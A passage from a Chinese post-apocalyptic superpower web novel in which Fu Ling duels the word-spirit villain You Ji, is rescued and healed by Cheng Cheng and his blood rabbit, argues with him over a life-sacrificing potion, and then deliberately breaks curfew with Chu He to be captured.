在接近它的瞬间,他伸出双手,紧紧握住扬声器的支架,用力一扯,整个扬声器便被他从底座上扯了下来。随着他的动作,扬声器在空中翻滚着,最终狠狠地砸在了地上,裂成碎片。
空气重新流动了起来,滋啦的声音戛然而止,取而代之的是震耳欲聋的碎裂之声。
楚河的动作很快,从开始行动到毁掉扬声器只有一分钟左右,但在众人看来,他几乎是在一秒之内完成了所有事情。
伏苓眼中的兴奋之色愈加浓烈,电梯“叮咚”一声打开,楚河走了出来。
他垂眸看着伏苓身上不断涌出的鲜血,轻轻蹙眉:“你需要休息。”
“不。”伏苓打断了他,她一把拉过躲在门后的梨先雪,将她塞到楚河怀里:“这人你先带着,我很快回来。”
说完,她转身就走。
“伏苓!”楚河波澜不惊的神情终于出现了一丝裂缝:“你要去找言灵吗?”
伏苓没说话,也没转身。
楚河看着她粘着血迹和泥沙的背影,心中莫名涌现一股怒气:“你知道那人有多危险,为什么不能再等等,等到你的朋友们……”
“楚河。”他的声音戛然而止,伏苓背对着他,一双眸子亮如星辰:“机不可失。”
楚河:“那也不能……”
“我不想再跟他玩躲猫猫了,我要将他扯出来。我要看看,他究竟是个什么东西。”伏苓迈开脚步,说出来的话语带着彻骨的寒意。
“总之,我不会有事。”
……
高楼之上。
游寂微微直起身,看向下方的目光终于带上了严肃和认真:“居然还有一个时间系的异能者吗?”
“砰”。
很重的一声。
游寂猛地回头。
大门被人猛地推开,撞击在墙上回弹。
伏苓站在门口,外面的光照在她的身上,血与泥垢让她看上去格外狼狈,但她却丝毫不在意,如同从地狱之中爬出来报仇的恶鬼。
她歪了歪头,笑了起来:“没有找错吧,‘父亲’?”
游寂不动声色地扫了她身后一圈,确定没人后才勾唇笑道:“这时候倒是知道喊‘父亲’了?”
伏苓嗤笑一声:“你好缺爱哦,这么喜欢大家喊你‘父亲’?”
游寂:“……”
她明明没说什么攻击性很强的言语,但不知为何,配合着伏苓面无表情的语气和微微上挑的眉梢,游寂只觉得眉心在疯狂跳动。
他忍下想一刀砍了面前这人的想法,咬牙切齿:“一个人来也敢这么嚣张?”
他顿了顿,也不知道想到了什么,突然放松地靠上了椅背,指尖轻飘飘地点了点伏苓:“如果那个时间系的男生跟你一起,说不定我还会担心一下,但只有你……”
游寂不屑地笑了一声:“我承认你之前确实让我有了几分情绪波动,但如今的你对我来说,实在算不上是个什么东西。”
他直视着垂着脑袋的伏苓,摇了摇头,轻飘飘道:“去死吧。”
霎时间,无形的力量化作无数剑雨,以势不可挡之势冲向伏苓。
游寂咽下涌上喉间的鲜血,似是不忍心一般移开目光,喃喃道:“要怪就怪你太自信了……”
他的声音突然停止,目光停下,眉头也狠狠地皱了起来:“还在……笑吗?”
伏苓缓缓抬起头,目光穿过层层剑雨漫不经心地对上了游寂的视线。
她手中软剑如长蛇一般从她腕间滑出,嘴角勾着一抹戏谑的笑容,看上去如同在嘲笑他一般:“明里暗里地较劲了这么多次,你真的觉得,我没有一点长进吗?”
游寂瞳孔微微放大。
他突然想起来,第一次对伏苓使用言灵是还在城外的时候,那时候伏苓几乎毫无还手之力,反应过来的时候已经是他的言灵完成的时候了。
第二次伏苓已经可以勉强反抗,用实力强硬拒绝了他试图抓走她的行为。
而第三次,她甚至已经可以与他正面对抗了。
那如今的伏苓,到底能做到什么程度了?
游寂心尖猛地涌上一股恐惧,他意识到,自己似乎轻敌了。
而此时,伏苓动了。
在她看来,此时游寂的异能已经不是曾经虚无缥缈的攻击了。
所谓“言灵”,不过是通过声音化为无形的攻击,而游寂方才的那句“去死”也只是一道无形但强大的攻击罢了。
虽强,但并非毫无破绽。
至少此时,伏苓能清晰地感受到生路的所在。
她脚尖一点,软剑飞舞,撞击上空气,火花四溅,一道又一道的伤口出现在伏苓的身体上,殷红的血滑下,伏苓却毫不在意,脚步变幻极快,身形快到几乎看不见。
游寂猛地后退,但已经来不及了!
锋利的刀刃从天而降,伏苓染血的面庞陡然出现在他面前,游寂猝不及防地与她对上眸子,幽深的眸中,是嗜血的欲望。
他飞快道:“移动!”
话音落下,他的身影被无形的力量猛地朝一侧拉去,堪堪避开了那道几乎致命的攻击。
但即使如此,剑锋依旧划过他的身体,留下了一道深深的伤口,鲜血从伤口处涌出,染红了他的衣服。
伏苓轻飘飘落在原本他站着的地方,再次调整姿势攻向游寂,他飞快后退:“滚开!”
这一句又快又急,伏苓一时间躲闪不开,被猛地击中,撞向后方的墙壁上,发出一声沉闷的轰鸣。
墙壁裂开,灰尘、砖块和土壤纷纷从墙壁上落下,如同一场小型的地震。
游寂急促地喘着气。
他已经很久、很久没有感受到如此近的死亡了,就差一点,就差一点点,他就会被伏苓一刀砍死。
他死死盯着还在不断落下灰土的地上,眸中染上了深深的畏惧。
这个人,实在是太恐怖了。
但是,他看着一片死寂的墙壁那侧,几乎有些庆幸地想着:“她应该已经死了吧?”
在79层的时候伏苓就已经受了伤,如今再遭此一击,按照普通人的体质来说,她早就支撑不住了。
但伏苓明显不是普通人。
在游寂颤抖的瞳孔中,一道身影摇摇晃晃地自飞扬尘土中站了起来。
尘土缓缓落下,露出了伏苓满是鲜血的面庞,鲜血从她嘴角抑制不住流下,眸子亮如星辰:“还没死,你再加加油。”
游寂退后了两步,瞳孔微微颤抖:“你简直是疯子。”
伏苓歪歪脑袋,笑得更开心了,鲜血衬得她愈加疯狂:“这句话好耳熟呀。”
好像,真的有很多人说她是疯子了。
伏苓往前走了一步:“那又怎样?”
是不是疯子都跟他们没关系。
游寂眼中闪过愤恨,沉声道:“撞击。”
伏苓笑着,脚尖一点避开对她而言已经熟悉的攻击,再次飞速向游寂靠近。游寂一边躲避着飞舞着出现在四面八方的软剑,一边密集地发动言灵。
反噬太重,使得游寂嘴角的鲜血就没停下过。
他猛地避开剑刃,就地翻滚了几圈才堪堪卸去伏苓攻击的冲击,狼狈地蜷缩在地上,咳出一口口深红的血液,血液在地面上扩散开来,格外鲜艳。
他抬眼,对上了伏苓几近疯癫的眸子。
她摸向后腰,笑得嗜血:“再见咯。”
高手对战胜负在一瞬间,即使游寂仅仅顿了一瞬,伏苓的子弹都能在这一瞬其间射穿他的脑袋。
胜负已定。
伏苓猛地一顿。
后腰本该放着能量枪的地方空空如也。
她的呼吸停了一瞬。
……
千春区。
三人坐了一个多小时的地铁,终于在祝无忧睡着之前到了他们房间的所在区域。
祝无忧伸了个懒腰:“累死我了,这也太远了。”
周围人群熙熙攘攘,林随安看了一眼时间:“先去找房间吧,时间不早了。”
林随遇手肘靠在她肩膀上,懒懒散散地站着:“刚刚房卡上新加了一条规则,你说会不会是伏苓干的?”
祝无忧凑过来:“肯定啊,我苓姐最牛!”
林随遇皱着一张脸:“你还成她粉丝了?”
他顿了顿,摇头晃脑地感叹:“不过不得不说不愧是伏苓啊,有的人还在坐地铁,有的人已经跟规则杠上了。”
他动作间大腿外侧突然碰到了什么,林随遇低下头去,摸出一把能量枪。
霎时间,三个人都呆立在原地。
林随安有些艰难地问:“这个……应该是伏苓的枪吧?”
林随遇讪讪:“是、是啊。”
祝无忧呆呆道:“怎么会在你这?”
林随遇尴尬地笑了一声:“好像是在荥城跟她借来玩,忘记还了……”
祝无忧:“……”
林随安:“……这你也能忘?”
林随遇:“哈哈,哈哈。”
他深吸一口气,冷静道:“我还回去。”
祝无忧指了指就在眼前的大厅柜台后的时钟:“已经七点多了,现在回去赶不上了吧?”
林随安皱着眉沉思:“没有能量枪,伏苓会不会出事?”
祝无忧小声:“应该……没事吧?她更喜欢用那把软剑。”
但能量枪伏苓虽不常用,也会在关键时刻掏出来用几次。若是她在转瞬即逝的机会来临时突然发现能量枪不在……
林随遇捂着脸,声音从他指缝中溢出来:“伏苓我对不起你。”
事情已经发生了,林随安想尽量冷静分析一下:“明天我们应该就能会和,一晚上,她应该出不了事。”
林随遇“哈”了一声,指了指房卡:“你忘记这条新加的规则了吗?”
明显是伏苓正在搞事情啊!还很可能是大事!
林随安:“……”
她忍无可忍地拎起林随遇的耳朵:“知道她经常搞事就不要忘记把枪还给她啊!笨蛋。”
林随遇嗷嗷叫了两嗓子,歪着头小心翼翼讨好道:“我错了,我下次再也不敢了。”
林随安白了他一眼,扔开了他的耳朵:“滚,每次都是这一句。”
祝无忧目瞪口呆:“随安姐你还会骂人啊。”
林随安深吸一口气:“跟这个笨蛋在一起能忍住不骂人吗?”
“好有道理。”祝无忧认同地点点头。
林随遇揉着自己的耳朵:“什么好有道理,哪有道理了!”
林随安给了他一脑袋瓜:“闭嘴。”
林随遇:“……哦。”
……
伏苓猛地避开,攻击尽数打在身后的墙上,尖锐的石子划过她的脸颊,划出一道道血痕。
游寂用手背擦了擦嘴角的鲜血,勾着唇犯贱道:“刚刚是准备做什么?出现意外情况了?”
听着像在关心,但他的攻击却毫不留情。
伏苓灵巧地仰头避开,再次逼近他,软剑如同夺魂之锁,狠狠袭向游寂。
游寂也被逼出了血性,咬牙:“贯穿。”
肃杀之气陡然穿过,如料峭寒风。伏苓一声闷哼。
鲜血滴落。
像突然落下的大雨,滴滴答答,砸在地面上。
是伏苓的,也是游寂的。
伏苓吐出一口鲜血,血与地上流淌下来的混合在一起,半个拳头大小的血洞出现在她腰腹,鲜血直流。
对面的游寂几乎半个身体都要被软剑切开,血染红了剑刃。
伏苓边吐血边笑:“你好像,也没强到哪去。”
甚至,就这招伤敌一千自损八的对打,说只有她一个是疯子,伏苓还真不相信。
游寂颤着唇,任由鲜血流下。
他有些无力地笑了笑,鲜艳的血沾在他面庞,衬得他格外妖冶:“你可真是个,实实在在的疯子。”
红色骤然蒙盖住伏苓的双眸,愣怔间,雾气缓缓爬满她全身,像茧一般把她牢牢护住。红雾烫得像体温,一点一点止住了她从全身各处传来的疼痛。
一只有力的手臂拢住了她,熟悉的气息扑面而来,她一时之间竟有些恍惚。
“我来了。”
如同天籁。
*
程承原先并没有觉得伏苓会莽撞地去做一些什么事情,他是想先去芷阳区的,但林随遇那句话让他实在是放不下心来。
坐在地铁上时,他沉默良久,只觉得心中不详的预感越来越深。
房卡上陡然变换出新规,他猛地起身,在周围人莫名其妙的目光中飞快冲下了地铁。
对面返回栎阳区的列车还没有到站,他心下焦急,低声问道:“兔子,伏苓那怎么样?”
血兔扭了扭,过了几瞬才说:“额,在跟帅哥约会。”
它语气一下子激动起来忿忿:“太过分了,怎么可以这样!这把我们程承同学置于何处啊!”
程承却松了口气,按下心悸的感觉:“没事就好。”<
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p>血兔:“……?”
它难以置信地探出半颗兔头,红彤彤的眼睛里满是不解:“你还挺大度的哈?”
程承抿了抿唇,没说话。
血兔眨巴眨巴眼睛,看他站在站台前一动不动,小声问:“那什么,你还要回去啊?”
程承沉默了两秒,从喉咙里挤出一个“嗯”字。他吐出一口气,皱着眉道:“我总感觉不太好,先去看看再说吧。”
血兔小心翼翼:“但是,不是说十点之前必须回到房间吗?”
地铁嗡鸣,缓缓停在站台边。安全门打开的时候,血兔才听见程承轻声说出口的话:
“管他呢。”
……
程承满脸戾气地一脚踹碎大门。
血兔一改以往对伏苓能避就壁的态度,几乎瞬间扑向伏苓。
血色笼盖住她的身体,如同一张泡泡保护膜,又轻又柔地覆盖在她身体表面上,雾气在她被捅穿的伤口聚集,红色盖住伤势,看上去仿佛在修补一个破碎的娃娃。
程承看几乎血液凝固,无数情绪喷涌上心头,他下意识使出全身力气攻向游寂。
他在路上就已经通过留在伏苓身上的小血兔知晓了游寂的异能,所以才能在抵达的一瞬间做出最有效的攻击。
血色雾气龙卷风般席卷全场,明明看上去无害,却几乎在一瞬间卷走游寂周身的空气,他甚至下意识发动言灵:“轰炸。”
但即便如此,他也依旧躲闪不及。
血雾在靠近中幻化成一只巨大的兔子,它龇牙咧嘴地狠狠一脚踹向游寂的胸口。
肉.体撞击在墙上的声音格外沉闷,安静几瞬后,墙面轰然倒塌。
周围轰隆轰隆地响个不停,无数石块像被炸毁一般砸落在地,程承死死护着伏苓,在地上滚了几圈才停下来。
看着伏苓苍白的面庞,压抑许久的恐惧和后怕终于入潮水般涌了上来,他双手颤抖地抚上伏苓染血的脸颊。
他颤抖着低下头去,将额头抵在伏苓的额头上,属于人类的温度从肌肤相碰的地方传来,告诉他伏苓如今还活着。
似乎是察觉到了程承的害怕,伏苓笑了一声,一下一下抚摸着他的脑袋。
她想说点什么,但却一句话也说不出来。
程承将呼吸埋在伏苓脖颈,滚烫的泪水滴落在伏苓的脸颊上,如同呓语一般颤抖道:“我愿意……”
他唇瓣无意识地吻着伏苓的肌肤,双臂紧紧拥着身下的人,断断续续地说着:“我愿意……用我的生命去守护你。”
伏苓快要闭上的眼睛微微一顿,她轻轻勾了勾唇角,无声道:“……好。”
她不是一个喜欢依赖他人的人,她从来只觉得任何人都不如自己来得靠谱。
但此时,此时听到程承的声音,之前憋着的那口气,直到如今才呼出口来。
她整个人都放松了下来。只要有他在,她不需要去想接下来游寂会怎么样,她会怎么样,后面又会发生什么事情。她只需要闭上眼睛,再睁开眼时,一切都会迎刃而解。
看着伏苓昏睡过去,程承双手颤抖着不敢碰伏苓的伤口,他脑内一片空白,但也知道此时他绝不能乱,只能咬着牙强装冷静问道:“怎么样?”
血兔没吭声,过了几秒才说:“没事。”
程承看不清伏苓伤口的情况,无数红雾萦绕在那里,如血液一般缓缓流动。
他跪在地上,浑身僵硬着,一下也不敢动。
他不禁去想,如果,伏苓死了……
他整个猛地一颤,心口一抽,疼痛让他不受控地微微弯腰。他握住伏苓无力垂在地上的手,越握越紧。
他竟不知,从何时起,伏苓已经是他生命中最重要的那一部分了。
重要到,即使世界毁灭,即使周围所有人都死去,只要她还在,程承就能陪着她活下来。
泪水直挺挺地滴落,一滴一滴掉进盘旋着的红雾中,红雾像一片平静无波的水面被投入了一块又一块的小石子,涟漪泛起,向四周荡漾。
视线模糊之中,程承没有注意到,本来虚虚掩在伏苓伤口处的雾气渐渐凝实,就像补上了那块缺失的身体般。
血兔伸出一只爪子,戳了戳程承:“好了。”
程承目光落在伏苓脸上,眼泪挂在眼尾,他静静地看了她半晌,才问道:“那人死了吗?”
血兔兔脸一拉,骂骂咧咧地往游寂撞碎的墙面走去:“又让我去。”
它勾着脖子看了半天,喊道:“程承啊!”
程承看向它:“叫魂啊?”
血兔一指:“人没了。”
只见墙壁四周散落着碎石,却不见人影。
程承抱起伏苓,不在意道:“随他去吧,我们先走。”
不着急,总会抓到这人的。
程承没走太远,从88层下了一楼就走进了铺着地毯的走廊,一侧写着“高等区”。
他扫了一眼,径直走到离自己最近的房门前,红雾轻飘飘地钻进锁扣,门锁“吧嗒”一下打开了。
他脚尖轻轻一踢,将门推开。
里面站着一个只穿了个大裤衩的大汉,他瞪圆了眼睛,刚想质问:“你是谁”“你为什么进我的房间”“你怎么进来的”,却不想满腹疑问还未说出口,奇异的雾气如潮水一般滚向他,下一瞬,这人便两眼一闭倒在了地上。
程承面不改色地越过他。
这里不是伏苓之前见到了类似宿舍的构造,而是一间套房。程承粗略扫了一眼,里面有三间卧室,刚入门打晕房间主人的地方应该是中间的小客厅。
左边两间卧室有很明显的生活痕迹,程承便带着伏苓到了右侧的小房间里。这房间不大,但胜在该有的一个不缺。他将伏苓轻柔地放在床上,然后道:“给那人盖个毯子。”
血兔瞪大眼睛:“你在跟我说话吗?”
程承声音淡淡的:“这房间里还有别人吗?”
血兔气鼓鼓:“我不!我又不是你的佣人……”
“那我们聊一聊,为什么你对伏苓这么特殊吧?”程承轻飘飘地瞥了它一眼。
血兔顿时兔毛直立,原地消散,只剩下声音幽幽回荡:“去就去。”
程承若有所思地看了它离开的背影一眼,重新将目光放在伏苓身上。
关于血兔对伏苓的态度,其实很早之前程承就有些疑问。
比如为什么第一次见面的时候血兔就死都不愿意出来,又或者是方才看到伏苓受伤,血兔奔过去救她的急切甚至隐隐超过了自己。
他轻轻捏着伏苓的指尖,眉头微蹙。
甚至,他一直以为血兔是没有治疗的能力的。
因为自拥有这异能以来,程承受伤过无数次,有时几乎危及生命,但血兔从来没有治疗过他,也没有试图去治疗他。
但就在刚刚,它治疗了伏苓,非常急切地治疗了她。
程承目光落在伏苓已经完好无损的腹部。
十分钟前,那里曾经血流不止。
所以,这只兔子果然跟伏苓有关系。
58. 百世同堂06
伏苓醒来的时候,窗外的天已经完全黑了。她眨了眨眼睛,一时分不清自己身在何处。
“醒了?”一道沉沉的声音从侧边传来,带着许久未说话的沙哑。
伏苓侧过头去,还未看清程承的神色,就被拥了满怀。
他额头抵在伏苓颈窝,如同受了委屈的孩童。
熟悉而安心的气息包裹住她,伏苓弯了弯眼:“你怎么来了?”
程承抱紧了几分,声音闷闷地传出来:“害怕你有危险,就来了。”
伏苓小幅度地点点头,拍了拍他的后背:“吓到了?”
空气安静了几瞬,良久,程承才从喉咙里轻轻地发出一声“嗯”。
他没有松开手,反而收得更紧。温热的呼吸喷洒在伏苓的脖颈,让她忍不住稍稍躲闪,但下一秒,她便整个人僵住。
“我有一瓶药水……”程承的声音低低地在房间里响起。
那瓶药水——“命运共鸣”,后来祝无忧曾提过一嘴,当时伏苓还皱着眉说这药“太邪性”,程承也曾表示说非到万不得已,绝不会使用这瓶药水。
但伏苓没想到,才短短一个星期星期,程承就已经变了想法。
这药水几乎等于一命换一命!
伏苓冷下脸,试图推开他,却被他搂得更紧,她皱着眉:“程承,你不会不知道这药水代表着什么。”
程承没说话,好一会才埋在她颈窝里轻轻地“嗯”了一声。
他抬起些许,目光垂着,却不似聚焦的模样:“可是,我太害怕了……”
他起身,微微红着的眼睛注视着伏苓的眸子,眼里是满满的恐慌和执着。他语气温柔又缠绵,带着明显的诱哄:“求你了,我不想再看到你受伤了。”
他目光如潭水般沉静:“我愿意……我愿意为你付出生命。”
“我不愿意。”换作以往,伏苓早就一拳锤上去了,但此时看着程承微微泛红的眸子,她意外地没有想要暴起的冲动。
她试图跟程承讲道理:“明明我们可以一起活下去,为什么一定要以一个人的牺牲作为结局?”
她软了语气:“对不对?”
“不对,”程承固执道:“不对,我不想你有任何一点暴露在外的危险。”
伏苓跟他聊不下去了,她有些烦躁:“如今的时代,你还想把我当成温室里的花朵吗?这次只是个意外,要不是林随遇那狗贼没把能量枪还给我,那孙子早在你来之前就被我弄死了。”
她严肃道:“更何况,没有遇见你之前,我就有能力保护好我自己,甚至可以分出力量去保护其他无能力者,此时不过是遇到了更为强大的异能者,凭什么你就认为我只能依靠你的牺牲来保护自己?”
程承垂着眸,没说话,看上去格外可怜。
但伏苓明显丝毫没有怜香惜玉的意思,她推开他,起身下床,冷声道:“程承,如果你问我愿不愿意喝下那瓶药水,我的回答是——”
程承抬起眼皮,对上了伏苓冷静的眸色:“我不愿意。我不愿意你的生命,或者说,我不愿意任何一个人的生命为我燃烧。”
她轻轻叹了口气:“如果我们没法达成一致,那就先冷静一下吧。”
她没理会垂着眸不吭声如同雕塑一般的程承,抬脚向外走去。
房门被她拉开,血兔哇啦啦叫起来的声音传进来,伏苓没管它,回眸道:“程承,我希望你能尊重我,也希望你相信我。”
门被轻轻关上,屋内良久没有发出声音。
半晌,血兔悄悄推开一条缝,小心翼翼道:“那个,我们还不走吗?已经九点了。”
程承的睫毛轻轻颤抖,他张了张唇,却不知道该说什么。
手扶在床边,他缓缓站起身来,道:“走吧。”
……
伏苓走下电梯,迎面撞上了楚河。
看到伏苓,他长长舒了口气,冷声道:“两个小时,你知道我这两个小时多担惊受怕吗?”
伏苓莫名其妙地看他一眼:“你担惊受怕什么?”
楚河一口气差点没上来:“我们是盟友啊,当然要担心对方的安危。”
伏苓“哦”了一声,她向来没什么集体主义精神,但还是礼貌道:“谢谢啊。”
楚河轻轻蹙眉,问:“是遇到什么事情了吗?”
伏苓转头:“什么?”
楚河盯着她看了一会:“你心情好像不是很好。”
伏苓靠在一边的栏杆上,垂眸看到了楼下低着头往外走的程承,直到他的身影消失,她才轻声道:“是吗。”
楚河顺着她的目光看过去,也注意到了程承的身影:“你男朋友还特意来找你了?”
伏苓高高挑起眉毛:“谁跟你说他是我男朋友?”
楚河轻轻挑眉:“原来不是?我先前看你们很亲密,还以为是那种关系。”
伏苓转了下身,将背部靠在栏杆上,抱着臂笑了一声没说话。
很亲密吗?
可能吧,甚至已经亲密到了一方愿意为另一方放弃生命的程度。
伏苓有些烦躁地摁了摁太阳穴。
程承向来爱顺着她的意思,即使与自己意见不合也会好言相劝,这还是第一次两人的意见对立到根本无法相互理解。
甚至一向愿意引导她思路的程承都一言不发。
伏苓罕见地长叹了口气。楚河观察着她的神情,问:“所以你心情不好是因为这个男生吗?”
他顿了一下,突然笑了笑:“我实在是无法想象,明明此时应该是那位言灵给你带来的压力更多,你却只为他烦神。”
他有些意味深长地看着伏苓:“看来这人在你心中的地位不低啊。”
伏苓掀起眼皮看了他一眼:“你不用来刨析我的感情。”
楚河笑笑:“抱歉,习惯了。”
他主动转移话题:“你跟那言灵打了?情况怎么样?”
伏苓抬脚向房间走去:“就那样吧,也不是很强。”
楚河轻轻挑了挑眉:“这样……那你有探到违反规则的人都被带到哪去了吗?”
伏苓脚步一顿,侧头对上了楚河清冷的眸子。她沉默两秒:“……打上头了,忘了。”
楚河毫不意外,笑道:“我就知道。”
虽然与伏苓相处时间不长,但楚河早就意识到伏苓这人完全是属于“人狠话不多”的类型,实力强到甚至能无视所有智取之路,单靠武力镇压所有人。所以她向来能打就打,不会过多思考。
楚河早有预料,而且此事确实急不得,只不过是抱有一个小小的幻想罢了。
但伏苓不这么想,她若有所思地摸了摸下巴:“那我今晚违反一下规则去探探路。”
楚河木着脸:“你……还是不要了吧。”
单以他肉眼看来,此行伏苓似乎没受什么伤,但楚河能感觉到,伏苓的精神状态实在算不上好,她应该受伤了的,可能是被治愈了,也可能是伤在不易发觉的地方。
总之不管怎么样,他都反对伏苓再次踏入险境。
伏苓笑了笑,突然问道:“之前给你那小姑娘呢?”
似是她话题转变得太快,楚河一愣,答道:“在我房间。你们那边来了人砌墙,现在应该弄得差不多了。”
伏苓皱皱眉:“你把她一个人丢在全是男生的宿舍?”
楚河冷静喊冤:“什么全是男生,我房间里就我一个人,不然我怎么可能把她丢在那?”
“就你一个人?”伏苓猛地转过头,咬牙切齿:“凭什么?”
她那住四个,楚河就一个人住?
区别对待?
先前伏苓在她宿舍那边的动静太大,楚河也注意到了她的房间是有其他同住的人,他犹豫着问:“是不是因为你在楼下得罪了他们,所以才这样对你?”
伏苓翻了个白眼:“那他们还真够小气的。”
但她是在拿到房卡后才得罪的他们,怎么想也不应该。所以说到底还是自己脸黑?
她闭了闭眼,果断转了个弯:“那去你房间。”
也不知道被撞坏的墙有没有被砌好,反正如今有更好的商议对策的地方,没必要那么早回去。
楚河跟上她:“行吧。”
……
楚河的房间离得不远,过了几个房间便到了。一开门,伏苓就对上了梨先雪惊慌的双眼。
她挑了挑眉:“怎么了?”
虽然没跟这女生待多长时间,但伏苓还是发现了她的胆子真的很小。
一惊一乍的。
梨先雪有些局促地走出来,轻声细语道:“你……你没事吧?”
她的目光带着担心,稍稍打量了一下伏苓,看到她身上没有明显的伤口才安下心来。
伏苓跟进自己家一样找了个凳子坐下,随意道:“我能有什么事?”
她上下看了看梨先雪:“之前你有受伤吗?”
梨先雪愣了一下,才反应过来她是在说仲安慧踹她的那一脚。
她连连摆手,温声细语:“没事的,不用担心。”
“那就是受伤了。”伏苓从背包里翻出一盒伤药抛给她,“先拿着用。”
梨先雪呆呆地捧着药盒,愣愣道:“给我的?”
伏苓靠在椅背上,奇怪地看了她一眼:“当然。难不成是让你转交给楚河吗?”
正在拖椅子坐下的楚河:“……?”
“哦……”梨先雪小心翼翼地把药盒收好。
这还是自从父母在战场上牺牲后,第一次有人关心她,给她伤药。
她咬着唇,心中泛起酸涩。
伏苓抬眼看了看墙面上的钟,对梨先雪道:“快十点了,你先回去吧。”
十点是门禁的时间,所有人都要回到自己的房间。
伏苓心中有了一个粗略且大胆的想法,但她不能把另一个无能力者拉进来。
楚河意识到什么,蹙了蹙眉。
梨先雪微微瞪大眼睛,小声说:“啊?你、你不回去吗?”
她眼睛湿漉漉的,像一只受惊的小鹿。伏苓看着她,难得耐心解释:“我要去犯规了,你跟着我,太危险。”
其实早在下午看到房间内的情形时,伏苓便想着如果可以的话,将这女孩子一直带在身边,也没什么不可。
她自然有能力保护好她,但接下来她要做的事情实在是太疯狂了,刻意违规,刻意让自己被游寂抓走,未来的一切都无法确定。
但可以肯定的是,这是一件极度危险的事情。
她没有办法带着一个无能力者去挑战丰镐的最高权威。
比起接下来他们要做的事情,似乎房间里的那两人不是那么的危险。
她安抚道:“虽然不知道我什么时候才会回来,但应该不会太久。可能……一两天?”
伏苓扫了一眼楚河:“他也可以保护你。”
楚河冷声道:“不,我也要跟着你一起。”
伏苓挑眉,楚河看着她,继续道:“别忘了,我们是盟友。更何况你想要违反规则是因为你想帮我去找元真吧?”
伏苓没说话,楚河声音依旧冷静:“你不说我也知道。即是如此,我更没有理由让你一个人去承担如此风险了。”
“那个……”见房间里突然安静了下来,梨先雪小声道:“没关系的,之前我不也是一个人活下来的吗?你们去忙你们的,不用担心我,真的。”
她朝着伏苓弯了弯眼:“谢谢你,虽然不知道你具体要做什么,但我还是希望你能平安回来。”
她朝着两人摆了摆手,走到门口又停下脚步,朝着两人鞠了一躬,然后跑出了房门。
“真是个可爱的小姑娘——”伏苓皱了皱眉:“但我总觉得让她一个人回去不太好。”
先前梨先雪在宿舍里的处境就算不上好,自己先前那般嚣张,也不知宿舍里另外那两个女生会不会将怒气迁移到梨先雪身上。
楚河看着她,冷冷淡淡开口:“我发现你还挺圣母的。”
伏苓:“……?”
伏苓白了他一眼,没说话。
圣母吗?
她可不是。
只是在接受到别人的善意时,也想同样回报回去罢了。
楚河在另一边的椅子坐下:“你有什么计划吗?”
伏苓疑惑地转过头:“什么计划?”
楚河:“……”
他认命地叹了口气:“就直接莽吗?”
伏苓感到莫名:“对啊,你也不知道接下来会被拉去哪啊?这还做什么计划?有什么必要吗?”
楚河:“……我知道了。”
他细细思索了一番,觉得伏苓说的也很有道理。以她的实力,再加上自己的异能,基本上不会出什么太大的问题。
思至此,他也放松了下来,看了看表:“那我们去外面等?”
伏苓兴致勃勃地起身:“好啊好啊。”
离十点还差两分钟,两人靠在了走廊的墙上。
周围一片寂静,昏暗的灯光洒在血红色的地毯上,墙壁上的男子画像隐秘在暗色中,显得格外诡异。
伏苓看着那张画像,突然道:“其实这个父亲可能没我们想象的那么坏。”
她脑中回想起游寂当时眼中一闪而过的不忍心。
很短,几乎是稍纵即逝,很快就被杀意掩盖。
但伏苓还是看到了。
楚河有些意外地看了她的侧脸,灯光忽明忽暗地照在她脸上。
楚河沉默两秒,道:“为什么?”
伏苓笑了笑:“没有为什么,就是直觉。”
她顿了顿,继续道:“末世中,总会有各种各样的人,造就各式各样的城。丰镐的这番情景,可以说是这位父亲为了满足自己的私欲,让自己高高在上,受人敬仰;也可以是有着其他原因。”
楚河:“比如呢?”
伏苓摇摇头:“我不知道。”
她安静了一瞬,低声道:“如果程承在,他或许能猜到一点。”
楚河笑了一声:“你还真是在意你这位准男朋友。”
他没等伏苓答复,而是抬起手,看向了腕间的表,秒针不慌不忙地走着。
楚河低声道:“还有五秒。”
他微微绷紧浑身的肌肉,伏苓的眸色也陡然锐利起来。
三。
二。
一。
灯光陡然熄灭,周围顿时漆黑一片。
伏苓收住即将甩出去的软剑,皱眉:“什么意思?”
虽然没有了灯光,但两人清楚,他们竟然还在原地。
楚河眸色带上了些许凝重:“规则……失效了?”
伏苓抱着臂,目光在四周巡视着:“是不是我把那人打伤了,所以他没精力来管我们了?”
楚河缓缓转头:“……还有这事?”
伏苓侧目:“你不知道?“
楚河:“你也没说啊。”
他看伏苓回来时那么疲惫,还以为是伏苓输了呢。
伏苓还没来得及反驳,熟悉的压迫感席卷而来,她勾唇:“来了。”
晚的这几秒也不知是不是因为游寂受了伤,总之伏苓放松了身体,任由那股在她看来已经是明牌的招式裹挟住自己。
会去往哪里呢?
原本每次违反规则的时候,游寂都会出来说两句,但这一次却是异常利落,伏苓甚至没有听到任何人声,便已经被裹挟着落在了一个亮到刺目的地方。
她微微偏头,躲过了那些从四面八方射向他们的光线。
“不许动。”声音从耳边响起,伏苓抬眼,对上了黑漆漆的枪口。
对面的人隐秘在刺目的光芒中,伏苓看不清他们的脸和动作,但也能察觉到,无数视线正牢牢地盯着自己。
如临大敌。
她勾唇轻笑一声,看来自己给游寂造成的阴影不小啊。
有数个枪口对着,伏苓也没有硬闯的心思,她漫不经心地举起双手。
枪口抵上她的太阳穴,耳畔传来陌生的嗓音:“往前走。”
她笑了笑,举着手迈开了步子。直到走出那片刺目之地,她才看到同样待遇的楚河,她挑眉:“哦呦,你也在啊。”
楚河扫了她一眼:“这不废话?”
他飞快扫了一眼周围,只见数以千计的聚光灯直挺挺地从高处照射到方才他们站着的地方。
而此时他们的周围则是无数拎着能量枪的蒙面人,正严正以待地看着他们,似乎只要他们有一丝一毫反抗的意思就能立刻扣动扳机。
楚河垂下眸子。
虽然麻烦,但若是他与伏苓联手,也未必不能强行突破。
只是……他扫了一眼无动于衷、甚至略有些懒散的伏苓,微微放松绷紧的肌肉。
伏苓似乎并没有硬刚的想法。
他原本以为她会是那种格外不喜被控制的人,却没想到此时她却能保持冷静,做出最优的选择。
看来自己选择的盟友也没有想象中的那般没脑子。
他稍稍放下心来。
伏苓悠哉游哉地迈脚向前走去。
她没想那么多,只是觉得既然目的是找到违反规则的人去了哪里,她当然需要乖乖跟着这些人走到该到之处才能得出答案。
两人被层层武装包围,走进了前方的一个较为狭小的圆形甬道中。
甬道两侧站着持枪的人,在伏苓走过时也同样是异常紧绷地看着她。她没这么在意,就这么走了数十步,便走到了甬道的尽头。
这里其实与他们刚入丰镐时的酒店大厅有些许相似。
